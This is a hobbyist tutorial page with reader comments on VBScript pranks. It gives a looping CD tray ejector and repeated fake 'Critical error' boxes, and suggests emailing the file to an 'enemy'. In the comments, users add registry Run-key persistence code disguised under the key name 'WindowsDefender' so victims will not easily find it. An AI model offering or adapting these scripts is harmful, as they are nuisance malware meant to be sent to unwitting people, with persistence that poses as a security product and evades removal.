Visual Basic Scripting Tricks (2)

7,143

11

18

Posted

Introduction: Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Share

    Recommendations

    • Microcontroller Contest

      Microcontroller Contest
    • Spotless Contest

      Spotless Contest
    • Science of Cooking

      Science of Cooking
    user

    We have a be nice policy.
    Please be positive and constructive.

    Tips

    Questions

    18 Comments

    any script to copy the file to the start up folder automatically?

    lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

     it stops when you restart :)

    Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.

    You could just type

    do
    lol=msgbox("Critical Error",16,"ERROR")
    loop

    for a continuous error message

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ---------------

    adds it to the registry for start up

    Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

    Dim moo1
    Set WshShell = WScript.CreateObject("WScript.Shell")
    moo1=Wscript.ScriptFullName

    WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
    ----------------------------------

    the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

    lol i had to hold dowwn the power button to make it stop

    I ran the script on my own PC. I couldn't stop laughing :)